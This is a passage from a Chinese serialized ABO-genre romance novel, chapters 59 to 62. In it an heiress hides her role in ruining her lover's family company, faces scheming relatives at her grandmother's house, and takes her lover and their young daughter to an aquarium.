舒晚柠抬高音量:“姐,你也太悲观主义,真相就是拿来公之于众的,我们是受害者,不是更应该讨要个说法!” “吃菜啦,今天还剩这么多,”舒清柚说,“不过,你之前说的对,我对她也没责任义务养着,我在考虑把这里卖掉。” “可以啊,反正这老房子,交通不方便,我们搬去哪里?我以后不想在海城发展,感觉压力好大……” 其实,舒晚柠告诉她所有的,包括林絮亲戚指使分公司,迫害她们母亲和公司,妈妈心情不好酒驾被车撞,一个经理,又怎么能知道全貌。 林絮当年能精准无误找到她,毫无回报地施以援手,不符合林絮这种利己主义者的做法。 但舒晚柠为数不多的信息,倒是让她打开道口子,窥见一丝希望。 林絮想在她身上获得想要的东西,后来又放弃了,她想获知真相… 然后,她可以彻彻底底坦荡放下。 第59章 继续瞒着她 本城最大的海洋馆近海,林絮直截了当让自家司机开车来接。 迈巴赫经过改造的后座,有准备好的上好点心,舒绒的满足不在话下,舒清柚没有多少口腹之欲。 林絮的食欲受舒清柚的冷淡影响,所剩无几,局面一度寂静无声,只有舒绒一口点心,一口橙汁喝的不亦乐乎。 舒清柚不时帮舒绒顺背脊,吃起来没完没了了,她眉心蹙着,从舒绒手心‘虎口夺食’,塞到林絮嘴边。 “不要浪费,吃掉。” 黏糊糊的奶油巧克力香气直冲鼻尖,残留舒绒不规则牙印,舒绒委屈巴巴,打了个嗝望向林絮。 “不怪我啊,你妈妈逼我吃的” 林絮将这当作舒清柚主动向她破冰的信号,张嘴被舒清柚投喂,一口接这一口。 数日前,舒绒和舒晚柠一张床,舒清柚主动和林絮一起。 林絮惊吓大于喜悦,和衣躺下,床垫柔软,记忆中还没睡过舒清柚的床,最多偶尔办个不正经的事。 床上到处都是舒清柚的信息素味,尤其是枕头,觉得不过瘾,干脆抱住枕头,蜷缩身体塞到被窝里。 被窝里面没有多余的空气,信息素的香味浓到让她头晕。 放在平常,她早就沉沉入睡,但今天与众不同,她极力保持镇静,万一舒清柚是来兴师问罪她妈妈公司的呢。 不然没事留她在这干嘛,欢乐斗地主吗?两个人也不够呀。 舒清柚洗漱完毕,看到的即是枕头少了一只,以及被包得紧紧的大蚕蛹,她半是疑虑半是担心。 “林絮,你不闷吗?” 她上手掀开被褥一角。 是在喊她,林絮露出毛茸茸的脑袋,大半张脸搁在枕头里,只有一双可怜的眼和舒清柚交接。 “还好” 就是有点缺氧,林絮不允许自己这么弱。 不安的话语声透过枕芯,希望舒清柚没听出来,舒清柚刚洗完澡,发梢沾染些许水汽,蕾丝睡裙贴着两团饱满。 林絮视线不受控地扫过,没有任何遮蔽物,她脑袋嗡地一声。 如果把自己埋到这里面,肯定比枕头好一万倍。 不能破功她仿若无事,曲起腿,把枕头放回原位,被她蹂躏的面料皱皱巴巴的,她伸手捋平。 她才敢继续转过头,这一下眼睛完全移不开,柔软抵在她的面前几公分,伴随香气,林絮喉咙忽觉干涸。 “清柚,你是不是有事找我?” 舒清柚歪了下头,膝盖覆被,慢慢朝她挪动,林絮吞咽口水,忘记所有言语。 随后她腿上多了份重量。 手臂像水蛇一样缠在林絮脖颈,舒清柚又揉了揉她后脑勺睡乱的头发,感受到林絮僵硬不动的身体。 舒清柚俯身,在林絮耳廓吐气如兰,“没事,就不能找你叙叙旧?” 她把这三个字咬的极慢,又很轻,水蒸气萦着红润的唇,林絮想战术性逃脱也没办法。 上下都被压制,信息素单刀直入无休止勾着她,林絮瞳孔震撼,舒清柚这到哪学的撩妹技巧?! 这几年错过好多好多,林絮肩膀塌软,心底泛起酸楚,蓦地一下抱紧舒清柚。 也如愿以尝到了洗面奶的滋味。 大约是晚上,人的情绪更容易被牵动,林絮想付出一些真心,“行,叙旧,想说多久都行,我今晚都是你的。” 不说动容是假的,舒清柚想了解的不多,但她必须要知道,“我妈妈公司的业务,都是你们和她签的合同吗?” 林絮没有半秒犹豫,关于她妈妈公司经营相关,林絮事发后才调查的。 “是林氏,和我关系不大,那会我只在集团那边挂个副总名,”林絮顿了顿,眼神暗下,“我妈妈,是总裁。” 并没有问到她妈妈的事,舒清柚不解林絮突然的交待,她印象中林絮无父无母。 “你的妈妈?不是早就去世了” 林絮眼圈顿时发红,鼻头酸酸涨涨,她应该推开舒清柚,却像是想把她烙在体内,箍的极紧。 她以为可以释怀的,就算不是舒清柚她妈妈被指使干这事,也会有其他人。 林絮的妈妈是A,另一位母亲难产而死,妈妈没有恨她的出生,还心疼她失去母亲,要星星要月亮,妈妈都会送她。 其实,没有舒清柚她妈,也会有其他人去撞车,就像林絮此次遭遇的祸端。 舒清柚低喘,呼吸艰难,“嗯林絮,有点痛。” 林絮咬着后槽牙,几乎要把怀中纤细的腰折断。 “痛啊”她力道松懈,闷在舒清柚胸前,低声嗤笑,“清柚,现在呢?” 好一会,林絮也没出声,舒清柚刚刚被她笑得头皮阵阵发麻,影视剧里变态杀人狂也是这般。 舒清柚奋力推拒着她,但O怎么可能抵得住A的克制。 “为什么推开我?”林絮抬起下巴,她明明,没有再弄疼她。 她天真地问:“舒清柚,我以为你们调查出来了,你不知道,我妈妈是被你妈妈撞死的吗?” 犹如巨雷,响彻天际,舒清柚怔住,直直地和林絮四目相对,但她的眼是虚的,身体也无法保持稳定。 林絮没让她倒下,将她束缚的牢牢地。 扯起嘴角,疯感十足抚摸舒清柚的长发,“你才知道,你才知道!” 好半晌,舒清柚嗫嚅唇瓣,“嗯” 她指尖颤抖,帮忙擦拭林絮的湿漉的脸颊。 林絮眼蒙摇曳的水光,舒清柚指尖悬停在半空,抿了抿唇,倾身。 温润的唇瓣贴着林絮的皮肤,舌尖划过眼角,落至林絮的双唇,舌尖湿滑,带着咸。 “清柚,我” 林絮探到睡裙,思索要不要更进一步,在腺两瓣唇外打转。 她突然没法坦然接受舒清柚的全身心奉献。 “不进来?”舒清柚凑上前。 林絮掌心染上水,“其实,你家公司” 她深吸一口气,舒清柚现在对她的生理宽慰,完全是因为不知道她们家公司是被谁搞倒闭的。 和舒清柚相处时间越长,就难以启齿。 舒清柚不语,垂着眼睑等她。 “不,没什么,以后再聊。” 她不等舒清柚过多反应,啄着舒清柚唇,没有标记舒清柚,接下来几日,舒清柚主动求欢都被她找借口逃开。 林絮吞下最后一口甜品,舒绒眼里的光也随之熄灭。 “好吃,”她眯起眼睛,“还想你喂我” 舒清柚皮笑肉不笑,递给她一瓶水,睨着她,“喂你吃腺体。” “咳咳咳!” 林絮瞪大眼,断定舒清柚肯定学坏了,这种东西是能随便和A说喂她吃的吗?! 再看一眼舒清柚,对方表情一如既往,等林絮的下文,林絮降下车内隔板,询问司机,“还要多久能到海洋馆。” 司机看到大小姐发话,腰板不免佝偻了些,唯唯诺诺地说:“大小姐,老太太吩咐,先回老宅” 又是一记大暴击,林絮音量陡然升高,“什么时候,我怎么不知道!” 司机背后一颤,结巴道,“就在你联系我的时候” 早知道叫助理过来了,她早该知道这些狗腿子只听林老太的。 林絮太阳穴狂跳,握紧水瓶,手背浮现道道青筋,强压愠怒。 “行,停车!” Alpha的气场可不是闹着玩的,真要动粗,就算三五个Beta也拉不住。 司机都快哭出来了,生怕大小姐给她哐哐一顿揍,“大小姐,您就饶了我吧,我们也是按吩咐行事。” 要求无果,况且不用她看,这个车子玻璃也做了特殊防护能防弹,她想逃也逃不掉。 她扭过脖子,忧心忡忡,“清柚,你先走,你不能见她,万一她在你身上动手脚那就” 舒清柚幽幽地看着她,居然还有让林絮恐惧的人,其实这反差还蛮有趣。 她摸着林絮发顶,掌心撑着下颌,眉眼弯弯,“真的吗,你很怕奶奶?” 林絮心脏猛地一跳,在舒清柚的抚摸中,皮肤温度逐渐上升,干嘛又突然摸摸她。 “宝宝我不想你和绒绒出事。” 司机默默吃瓜,给豪门打工的就是好啊,该有的八卦一个都少不了。 未婚妻还没过门,找了个带孩子的女人,大小姐品味就是好,不对,这小孩好像和大小姐有点像,莫不是她悄悄看了眼后视镜。 “看什么看!” 林絮吼了她一嘴,“看舒服了先把她们送回去!” 司机又开始打马虎眼了,“那个,大小姐,老太太当时的原话是,‘把她们三个都带回来。’” 林絮:“” 果然老太关系网过硬,该查到的一个都少不了。 林絮生无可恋地升起挡板,把舒绒拉到一旁,扑到舒清柚怀里,破罐破摔了。 “舒姐姐,到时候你被欺负了,我帮你打回去。” 眼睁睁看着自己从妈妈怀里脱离的舒绒:“???” 那是她的位置 舒清柚其实是被林絮摁在靠椅上,百来斤沙袋一样的压着,她微微喘:“你还是先但心自己吧,我可以和你撇清关系。” 林絮脸部抽搐一下,真好,孩子她妈要把她扔掉了。 “大小姐,我们到了。” 刚迈入大门,佣人簇拥上来,弯腰换鞋,收好她们的外套等,林絮享受惯了这些固有服务。 舒清柚神态自若,一把将舒绒塞到林絮臂弯中,林絮稳当接住,“绒绒,以后这里也是你的家哦,你要记住” 她四下望去,蓦然间,视线锁定一个方向,对方早就目瞪口呆,坐立难安到冷汗直冒。 林絮嘴角勾起个不易察觉的弧度。 怪不得啊,选在今天,林海一家子也在。 第60章 保护老婆不想撒手结果 舒绒懂的不多,出门也都被妈妈带着,也鲜少遇见对她不友善的人。 她只是随便到处张望,偌大华丽的房子,没有玩具,没有小动物,还有两个凶神恶煞的大人盯着她, 林絮抱着的小白团子今天为了见小动物,头顶特地别了个粉色海豚发夹,雪地靴带有胖墩墩小企鹅图案。 梦想破裂,还被看起来恐怖的生物瞥视,林絮都能感受到她在瑟瑟发抖。 她淡定上前,一手抱娃,一手牵舒清柚,落座主位。 舒清柚垂眸,交缠一起的双手,林絮从始至终没放开。 那么,她该以何身份自居,比起和林絮在一起未知的暴风雨,和舒绒一起逛逛水族馆,似乎都已成为难以实现的念想。 今天受邀来这里的父子俩,承老太太的意思,估计心里也都七上八下,手难得规规矩矩放在腿上。 全然没有平日嚣张做派。 林海那满肚子屎的啤酒肚,配一张油腻痘痘大饼脸,直教人作呕。 这也就算了,林士那贼眉鼠眼,有意无意瞅着舒清柚,林絮磨了磨牙,稳住暴怒的心神。 “小舅舅,好久不见了。”林絮嘴角扯动,“林士,你也一样,上次见你,哦腿脚不太方便。” 俨然一家三口在他面前秀恩爱,又听到林絮嘲弄讽刺语气,林海脑袋一下没转过弯,儿子怎么就腿脚不便了。 林絮带给他巨大的震撼,这有几分姿色的女人基本确定是情妇,但远不及侄女手里抱的孩子,大眼睛,卷曲浓密睫毛,和林絮小时候没两样。 简直是晴天霹雳。 林海扭头就问:“小士,上次什么情况?” 林士正心想堂姐什么时候勾搭上这种气质的女人回家。 他恨她到牙痒痒,上回他被迫在众人前连滚带爬,后来再去餐厅时,那些人停留在他身上似是而非的目光,如芒在背。 “多谢表姐关心,我挺好的。” 佣人此刻正打算倒茶,林絮手臂一挡,佣人有眼力见地退下。 她作出思考,叹息:“堂弟,我最近真有点腿脚不便,流年不利,出车祸。” 林海父子同时猛咽口水,两人不动声色交换一个心虚眼神,被林絮尽收眼底。 在场的人都知道林絮暴君般的脾性,没人敢说话,气氛一度紧张无比。 林絮不疾不徐,露出歉意的微笑,“小舅舅都不看我,是在怪我没法给您斟茶吧?” 原来就为这事,林海稍微松口气,他抿了一口茶,但手臂肌肉紧绷到有些僵硬,“瞧你说的,小絮好好养伤才对,下次也来得及。” 她们林家素来传统,晚辈给长辈敬茶,等级分明。 “是啊,”林絮点点头,话锋一转,“看来小士这杯茶,也是要等下次了” 林海喉咙滚动,当即喝斥:“小士,快去给你堂姐倒茶,没礼貌,成何体统!” 发呆状态的林士还在想车祸的事,却忘记最基本的礼仪,被这一指责犹如当头一棒。 脊梁骨马上就弯下,手抖着帮忙倒水,请林絮看茶。 “堂姐您喝茶。” 林絮眼不眨地盯着林士,没有接的意思,啊了声,“小士,我突然想起一件事,说来也巧,那个撞我的司机,和你长得有六分相似。” 最近顾怀愿发来的消息里,就有肇事司机照片,尖嘴猴腮,长相胖瘦有别,和林海一样的贪婪,收了家空壳公司的转账。 巧的是,法人正是林海下面的一个经理,受谁指使再清楚不过。 “怎么可能像!”林士吓得大喊,手里端着的茶水,本来就做贼心虚,茶杯一斜,大半杯水泼到舒清柚的腿上。 黑色阔腿裤不吸水,微烫的茶水渗到皮肤上,有些疼,舒清柚蹙着眉心。 林士再没有分寸,也不敢公然勾搭堂姐的女人,只好一个劲得道歉,就没差把头埋到地上。 林海一脸没眼看的无语,林絮明显是在诈他,那个司机都五十来岁了,能和一个二十多岁的像吗?! 他一把搡开没出息的儿子,“林士!看看你,毛手毛脚的,来人,带这位女士去换衣服!” 接着又向舒清柚赔笑,假惺惺道:“不好意思啊,我儿子还小,家里给宠坏了,我替他道歉,要需要做检查,我承包所有医药费。” 林絮看着这张肥肉堆叠的脸就犯恶心,奈何舒清柚急需要换衣服,不知道皮肤有没有烫红,懒得向这两恶心人的玩意多费口舌。 她强忍呕吐欲望拉起舒清柚,“不用,我自己的家,我知道去哪换。” 林絮越过旋转楼梯,来到二楼,推开她偶尔住的房间,匆匆忙忙翻找医药箱和衣物。 舒清柚坐在柔软的大床,还有点疼,扫过一圈林絮的房间,很大,但没多少生活气息。 “你们家还蛮热闹的。” 舒绒第一次见这么大的床,超级软,她爬上去,在被单上玩滚来滚去。 “你管这叫热闹啊,那以后这些热闹有的看了。” 林絮无奈地回她,语气中带有疲倦,她准备好新裤子,提着医药箱,单膝跪在舒清柚面前。 水洒到的部位靠近大腿内侧,林絮对舒清柚的身体再熟悉不过,她拉下裤子拉链,十根手指一起压在裤腰上。 指尖碰到舒清柚软软的小腹,令人不由想再探入,林絮在心底不断提醒自己不要乱来。 腹部不受控制地起伏,舒清柚难为情地喘了一声,按住林絮看似帮忙,实则有点吃豆腐嫌疑的手。 “我自己来就好” 林絮眼神逐渐不再清明,她掀眸,姿势不变,手上继续换裤子行动,“我们什么关系,你还害羞。” 本来想入非非的,看到舒清柚瓷白娇嫩的大腿内侧红了一小片,她心下一紧,手指迅速远离,避免弄疼舒清柚。 林絮眼神发暗,要快点把那两恶心亲戚解决掉。 真就不把她当一回事了吧。 涂上各种药水,林絮陪着舒清柚在房间待了好一会,直到药水风干,佣人敲门告知林老太等她们。 林絮帮舒清柚换上新裤子,拉着舒清柚软绵绵的手,垂眸,嘴唇碰到她的手背,轻轻吻了下。 “去见家长咯。” 舒清柚奇怪,漂亮的凤眼似笑非笑,“之前你胆小如鼠到要把我藏起来,这么快就调理好了?” 林絮大大方方,没心没肺地一笑,“早死早超生嘛。” 虽然林絮一直自我打气中,看到老人阴晴不定的严肃的表情,她还是放轻了呼吸。 林老太目光快速在三人间流连一秒不到,最后倒是对小孩子比较感兴趣,她招了招手。 西装革履的管家恭敬向舒绒递上置于托盘的棒棒糖,彩虹配色花花绿绿的,又大又圆。 舒绒被舒清柚抱着,下意识对比自己的手,哇,比手手还大! 她眼睛发光就要去拿,林絮做了次坏人,手臂一横,硬生生拦住舒绒的渴望。 不顾舒绒撇嘴快哭的模样,林絮桀然一笑,笑声在静谧房间显得格外突兀,她的视线直勾勾地和林老太对峙。 “奶奶,您这是什么意思呀?” 林老太鼻腔发出沉重的哼声,早先当她查出林絮和陌生女人暗度陈仓也就罢了,顾怀愿和林絮只需商业联姻,其她的她一概不管。 不曾料到,孩子都这么大了,好在曾孙女也算养的不错,脸蛋圆嘟嘟,唇红齿白,眼珠子清明,瞧着就极为机灵。 “什么意思,还需要我说明白?”林老太也是拿孙女没办法,连续遭受两次车祸,作为长辈再强大的心脏也遭不住这刺激。 林老太有两个女儿,大女儿去世,小女儿不懂事,国内外到处跑,一年下来神龙见头不见尾。 林絮基本上算是一家子独苗,连孙女都护不住,恐无颜愧对列祖列宗。 “奶奶不说,孙女怎么会懂。” 舒清柚被林絮挡在侧后方,她知林絮想护她,但也暗中观察,老人这回显得面善,但威严仍在,身子骨大约比较弱,半躺在床榻。 说话间中气很足,想必是高寿。 林老太抿住干巴的唇,透过林絮,看着曾孙女和抱着她的Omega。 Omega一如既往,上次见面也一样,不显露山水,不把一切放在眼里,但不是冷漠,称作云淡风轻更为贴切。 “舒小姐说说,你怎么看上我这不争气的孙女的。” 太贬低她了吧,林絮不满地就要狡辩,舒清柚在老人看不到的角落,抬起脚尖,撩动林絮的裤腿。 从下往上,微妙的感觉,林絮憋屈地噤声,舒绒找准时机,伸手一抓,托盘上的糖果收入囊中。 她得意举起棒棒糖扬起头颅,咧开嘴巴,骄傲地发出不明意义的奶音。 这一举措惹的林老太忍俊不禁,面容缓和不少。 舒清柚稍躬身,对于长辈的理解,舒清柚做的妥当,她见老人喜欢舒绒,摸着女儿的头让她乖乖别乱动。 “我和她,算一见钟情。” 她嗓音清洌洌地,面对林老太没有丁点畏缩。 这点林老太颇为欣赏,她颔了颔首,举起枯槁苍老的手臂,舒清柚读得懂老人眼里的表情,将女儿的糖果拿到一边,再让她和老人接触。 林絮心脏重重一跳,脑子热乎乎的,一见钟情,是真的,还是唬弄老人家的? 而舒绒眼睛睁的大大的,不认识的老奶奶,揉了她头发好几下,握住她的手,看着有点凶,有种奇妙的亲切。 林老太慈祥地指出:“三岁,不会说话,看着倒还聪明。” 被晾许久的林絮上前吐槽,隔开舒清柚和奶奶的距离,不是很愿意让舒清柚和老人攀谈,“您老就放心吧,绒绒脑子很好使。” 林老太见这不省心的孙女就生出无名火,哼声:“你才吃了几年的米,翅膀硬了,怎么,我难道还会对自己的曾孙女做什么勾当吗?” “你啊,我都不知道说什么好,整日吊儿郎当,没半点当总裁的样子,刚才在楼下你干什么去了。” 总裁这一职位本就林絮在奶奶扶持下当选的,但这也不能说明她没能力,提到那对父子,她堵着气,脖子一梗。 “奶奶,那林海父子狗东西害我,我还不能给他们个下马威!” 林老太商场厮杀多年,自然明白其间厉害关系,她瞪了眼林絮,对舒清柚笑了笑。 “舒小姐,我和孙女有点私房话要说” 舒清柚仍然是同样守规矩的态度,“我碰巧有点口渴,下楼喝点茶。” 离开前经过林絮,她指尖灵活地在林絮的手心勾了勾,林絮的手掌在刺激下蜷起。 掌心的痒意,酥麻的过电感划过林絮的小腹。 林絮愣住了,正在回味舒清柚这个动作的含义,老人在半明灯光下,缓缓张嘴,话里的内容,像一道雷电,把她整个人牢牢地劈在原地。 不得动弹。 “絮儿,她母亲做的事,和你没关系,也是我们祖孙的命。” “但是,我和你母亲都不曾教育过你,让你向无辜的人下毒手。” 林絮如坠冰窖,周身冰冷,眼神在老人的每个字中,逐渐暗淡无光。 林老太摇着头,气愤孙女的肮脏手段,“你那情人可知,是你把她家公司搞垮,她外婆受双重巨大打击,过早离世,你认为自己,能脱得了干系吗?”【你现在阅读的是 】 60-70 第61章 “请问,可以告诉她,我是她的妈咪吗?” “奶奶,您能别掺和吗,我心里有数,”林絮左思右想,木讷地说,“再不济,我们不也有个孩子兜底” 典型渣女发言,妄图靠孩子绑定她人一生。 给林老太噎住了,眉峰堆得老高,不能指望孙女品行有多正直,底线不能丢。 感情的事长辈插手,容易适得其反,老人努努力,将胸口那股气捋顺,终究对唯一的孙女松口。 “经济上该补偿给人家的,你尽量。” “好,好,必须的。”林絮应允着,实际上难以启齿,舒清柚对物质欲望过低。 当年分手时,贵重物品不带走一样,支票估计也不知所踪。 林絮忽然想到了什么,认真询问楼下俩狗东西过来的目的,林老太一笔带过,只告诉她剥夺他们的股份和职位头衔。 就这样?林絮显然不满意这个结局,换作她,高低要卸掉对方胳膊腿,再送进大牢,虽然残暴,但有效。 不满摆在脸上,林老太早看穿她的小心思,沉着道:“他们在国外存了大量资产,从本家转移过去的,这点小事,交给你了” 虽说老太口头上的说法,实际情况还要召开董事大会投票,无非就为走个形式。 老太太关心她身体,看在林絮活生生还能强词夺理的份上,也就随她去。 林絮游离在外的一颗心早在话题转到身体时,飘到舒清柚那边。 感情问题才是最棘手的,林絮楼上楼下找了一圈都不见人。 最后老管家看不下去大小姐无头苍蝇的模样,好心提醒,“舒小姐她们在后院玩耍。” 冷飕飕的,就不担心冻感冒么,林絮从房间拿了件厚实呢大衣,挂在臂弯间。 蟹青色天际线沉沉下压,与松柏融为一体,老宅傍山而建,摄像头遍布外墙。 再远处有一处凿出来的人工湖泊,林絮很少居住,最近的一次,还是攀住栏杆跳楼逃跑。 怪丢人的,估计她傻里傻气的英勇事*迹早在摄像头里传遍了。 空旷到可以踢足球的草坪,林絮看见一个小身影坐在秋千上,舒清柚扶在后方帮忙推。 她走得不快,舒清柚抬眸,薄薄的肌肤有些发红,被风吹的,鼻头都泛着粉呢。 带舒绒玩还是要点精力的,等林絮靠近她,看清她唇瓣也比平常多了几分血色,显得更娇艳好亲。 舒绒甜甜地抱住林絮大腿,以前只有公园有秋千,但都被其她人占据。 羡慕坏了,她用脑袋拱几下林絮,行动表示感谢大姐姐带她来这里玩荡秋千。 林絮读懂她的意思,一只大手拢在舒绒细软的发顶,“别客气,你是我什么人呀,以后还有更多好玩的。” 哇,更多好玩的,舒绒只顾着笑眯眯点头。 林絮拍拍她,让她重新坐上去,侧过脸,帮舒清柚披上外套,呼出一口雾气,“怎么想到来这里?” “闲着也是闲着,到处逛逛,风景还行。”舒清柚继续推着秋千,和林絮各自站在秋千两侧。 “你呢,还好吗?” 林絮心中一个咯噔,舒清柚只是正常和她交流,她也如杯弓蛇影那般,总觉得下一刻就要被抓住小辫子。 “挺好的,为什么这么问。” “那两人,其中一个我见过,你要小心。” 舒清柚也不是蛮不讲理的,她们遭遇车祸,大约另有隐情,她就算猜出来,能帮到林絮的寥寥无几。 有点无能为力的失落。 林絮见她神色颇为凝重,并且目光完全落在自己身上,关心溢于言表。 她未免太好骗,林絮想,舒清柚对她的信任,反倒增添了难以消受的不安。 纸包不住火,所以趁火还没来,不如尽可能销毁证据。 林絮提起嘴角,“没事,就算我不出手,奶奶也不会坐视不理。” 舒清柚嗯了声,随后低敛长睫,长发柔顺地落在下颌,肤色较之前淡了些。 她看着地面,忆起逝去的外婆,老一辈的关爱,无法替代,舒清柚淡声:“你要孝顺奶奶。” 不要这时候伤春悲秋呀姐姐,林絮不知所措,低头观察舒清柚的有没有在掉小珍珠。 她勾上舒清柚的胳膊,一个提溜,把她往自个身上带,娇软入怀,撞在胸上一点都不疼,Omega香喷喷的,再好的抱枕都比不过她。 “欸”舒清柚怕体重压到她,矜持地把控力道,“你注意点,你骨头才长好。” “先不说那些。”林絮垂眸,拥着她,和她脸贴脸,舒清柚脸比她凉上好几个度,忽略不计微不可查的容貌,触感很光滑。 再蹭一蹭,看着舒清柚被她挤压到闭上一只眼睛,林絮心里软成一滩水,“你之前在我奶奶跟前,撩我。” 都有点忘了,经林絮一提醒,她恍然大悟一样,“哦” 清冷的尾调轻轻勾起,舒缓地拉长,形成一只小钩子,撩拨林絮颤抖的心弦。 舒清柚故技重施,探出微凉的指尖,眨眨眼,天真地问:“像这样吗?” 林絮掌心条件反射,蓦地握紧她正在玩弄的动作。 再也不随便玩火了,这下可好,烧到林絮腿接近发软,但还要保持Alpha的面子。 想要了 一个A想被O**,甚至,她不排斥被舒清柚咬,进入,她抑制不住这种念头,怔愣地看着舒清柚温柔待她的样子。 突然,林絮发现了旖旎念想的根源,生理性喜欢。 最开始肌肤接触的心动,一步步沦陷,甚至不需要亲密接触,光眼神交流,对方散发一点信息素。 林絮能把自个都送上去供她玩弄,她口干舌燥地问:“清柚,我们明天再去海洋公园吧。” “好,今天也来不及了” 话音未落,眼前光芒被挡住,嘴唇被温热摩挲着,她嘤咛一声,林絮手臂紧紧搂住她的腰身。 嘴上更得寸进尺,舌头撬开牙关,长驱直入。 舒清柚只好扶住后方的秋千栏杆,承受她火热的唇舌攻势。 后院的佣人不太好意思看她们光天化日之下秀恩爱。很自觉退下。 唯有林间鸟啼,一声又一声,为两人之间充斥着浓郁的水声,增添别样的大自然的乐趣。 正亲的难舍难分之际,林絮的裤腰带突然被重重一拽,她疑惑地垂下视线。 舒绒两只手都扒拉在她裤头,小脸的腮帮子因用力而鼓起来,眼睛水光波动,却还不肯放过林絮。 “绒绒,你在干嘛?”林絮扣住她的手,毫不费力把她的手指一根根掰开,舒绒眼泪飞快地淌下来。 “你什么情况,秋千玩的好好的。” 舒绒用眼泪代替愤怒,一口咬在林絮手背上,硬是不松嘴。 不好玩!你欺负妈妈! “小东西咬人还怪疼的”林絮此时也没了和舒清柚亲密的好兴致,就让她咬,林絮无奈地忍疼,舒绒口水糊了她一手背。 “你去咬你妈妈呀,我没招惹你。” 舒清柚蹲下身,边调整气息,边轻柔地擦着她的眼泪,好歹是生养大的女儿,知女莫若母。 “绒绒真乖,都会保护妈妈了。” 她指了指自己,“你看,她没有欺负妈妈。” 不对 林絮听得心虚,舒清柚眼尾沾了些生理泪水,透出殷红的情yu,轻颤的浓睫覆了层薄雾。 唇瓣被玩到红肿,艳红地像熟透的果实,只需要轻轻一挤,就能滴出香甜的信息素。 舒绒一看,眼睛转动,无声地质问林絮,见林絮只是挠了挠脸,她更难受了,抱住舒清柚的脖子咿咿呀呀地抽噎。 舒清柚抬了抬下颌,“你刚威胁她了?” 林絮蹲下,点点舒清柚的唇,“差不多吧,你这里还蛮明显的。” 好吧,舒清柚横她一眼,“以后在她面前,要节制。” “不要,好难啊,”林絮叫苦连天,凭什么有了孩子就不能正大光明亲,她灵机一动,“不如,我们多亲,尽早让女儿脱敏。” 强盗逻辑。 舒绒听到多亲,哭得更起劲了,只想着妈妈的嘴巴好可怜。 舒清柚伸出食指,放在唇上,眉心蹙了蹙,“你这么大个人,怎么还改不了欺负女儿的坏习惯。” 似乎不无道理,林絮大致复盘着以前舒绒哭的场景,虽然都很搞笑,但可怜成分居多。 林絮老实巴交,摸着舒绒的背,“我认错,对不起,绒绒,我以后对你妈妈温柔点。” 要她不亲孩子她妈,万万做不到,她又不是x冷淡。 “对了,”林絮凑到舒清柚耳边:“请问,可以告诉她,我是她的妈咪吗?” 寒风擦过舒清柚的脸庞,燥热的温度下降,林絮眼神前所未有的热忱,她张了张嘴,没有说话。 直到第二天出发去海洋公园,这个问题,林絮还没得到回答。 也许是舒清柚还没完全接受她?不肯原谅她?又或者想让舒绒慢慢适应? 无论哪个结果,林絮都不满意。 还有很多时间,林絮按捺着,选择性遗忘,“清柚,真的不要我包下整个水族馆?” 舒清柚再三拒绝,“不是说好了,游客也是游玩的一部分。” 不是怕人多了有病毒么林絮还记着绒绒肺炎的那天,舒清柚都快累倒了。 她换了个说法,“记得舒绒戴上口罩。” 今天舒绒就窝在她们当中,舒绒看她和如临大敌,昨晚睡觉,像个小勇士护着自己妈妈。 舒清柚还夸她,林絮忍不住开玩笑,“绒绒,你这小胳膊小腿的,一阵风来,你就倒了。” 第62章 这算不算,认贼做家人啊,哈哈 林絮大概和舒绒做不成世俗意义上的母女好朋友了,她决定做有效努力改变舒绒对她的观感。 道歉,但舒绒不愿意看她,用小手捂住眼睛,林絮强行捏住她的脸,迫使她转向。 接着,她郑重其事从上衣口袋里摸了摸。 一早从厨房顺来的巧克力球,她献宝似的,托在掌心,“对不起,绒绒。” 用巧克力球讨好,舒绒眼馋,疯狂分泌口水,但只要看一眼‘可怜’的妈妈,她就能为自己助长万般勇气。 鼻音发出奶里奶气的哼声,顺便求妈妈抱。 “清柚”林絮无可奈何,女儿对她爱答不理,眉头一皱,“你想想办法呀。” 舒清柚垂眸,溺爱地捻着舒绒毛茸茸的短发,不咸不淡道:“抱歉,我站在绒绒这边。” “怎么这样” “你们合起来欺负我。” 林絮撇着嘴摇头,刚哄好老婆,女儿又在闹脾气,她手里忽然空落落的,抬眸,巧克力球被舒清柚拿走。 “绒绒,妈妈喂你吃。” 舒清柚拨开巧克力外包装,俯身,送到舒绒的舌尖,供她小口小口舔。 于是,林絮酸溜溜缩着,地观看一场母慈子孝的温馨画面。 自从身体重回健康,舒清柚都不再过分宠爱她,她奇思妙想,要不再来一次轰轰烈烈的护妻行动。 一路东想西想的,海洋馆坐落于海边,一下车,清新的海风味迎面吹来。 冬季来海洋馆的游客也络绎不绝,工作日也就稍微改善点人数,还好,林絮迈开步子。 工作人员知道她是贵宾用户,还想给她们安排解说员,林絮看舒清柚帮舒绒和企鹅玩偶拍照。 她摆了摆手拒绝,好好陪她们游玩,她碰了碰舒清柚,“我们应该在馆前拍照留念。” 由工作人员帮忙,她们外形很是养眼,随着一声茄子,按下快门。 工作人员不禁咂嘴夸赞:“太上镜了,你们一家三口都可以出片了。” “谢谢。”林絮很少对别人说谢谢,最多点个头完事,她觉得这是一句没有必要的礼貌话,不如小费来的实在。 她不仅道谢,还给了张百元红票,工作人员睁大眼,迅速反应过来这是大款啊,拍几张照片就有钱拿。 这是什么天上掉馅饼的好差事! 林絮习惯了她们大惊小怪,其实这事她也没少干,纨绔时期,逛市区内大小夜店,五星级酒店,中高端餐厅小费成百成百地挨个算着人头送小费。 基本操作,大家都很愉快。 “清柚你看你看,我们好配。” 林絮拿着手机反复观赏,照片里,她比了个耶,舒清柚漂亮的唇瓣敛着笑,不如林絮张扬,疏离地像是和林絮在两个镜头下。 但林絮贴她紧紧的,长发交缠。 舒绒也知道拍照凹造型,露出了八颗还没换的乳牙。 舒清柚自然不会扫兴,“你喜欢就好。” “当然喜欢,我要裱起来挂在床头。” 有点奇怪,舒清柚不确定道:“不至于吧” 林絮点头如捣蒜,嘴角弧度十分真诚地弯起,“要的要的,这样你每天上床前,看见我们甜甜蜜蜜,就有想把我扶到正宫位置的冲动。” “正宫?”舒清柚茫然地望向她。 “你不肯向绒绒介绍我啊,”林絮已经无所谓自己当舒清柚的狗,放飞自我中,“我等着呢我会永永远远等下去。” 有点毛骨悚然,林絮直勾勾地和她对视,舒清柚颈后起了层疙瘩。 林絮牵着她的手,细腻微凉的皮肤摸着极为舒服,慢慢的,林絮的温度,密集地传递进舒清柚的内里。 金卤灯在展馆照出冷冷大片的蓝,所有的一切镀上海洋般蔚蓝。 